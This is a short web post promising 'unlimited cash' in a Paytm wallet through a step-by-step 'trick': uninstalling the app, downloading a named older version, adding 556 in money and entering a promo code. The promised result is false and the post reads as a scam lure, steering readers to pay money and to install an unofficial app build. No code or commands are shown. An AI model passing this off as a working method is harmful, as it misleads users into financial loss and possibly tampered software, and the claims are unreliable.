Get paytm unlimited cash in wallet promocode(working)

Here I have a new trick to get free paytm unlimited cash in wallet.
For getting this just follow these steps:
1. Uninstall your old paytm app.
2. Download this version of paytm app
     Paytm 3.12 version
3. Create or sign in.
4. Click add money.
5. Add money as 556
6. And enter promo code UNL556.
7. CLICK OK.
8. In 24 he's you will get unlimited cash in your account.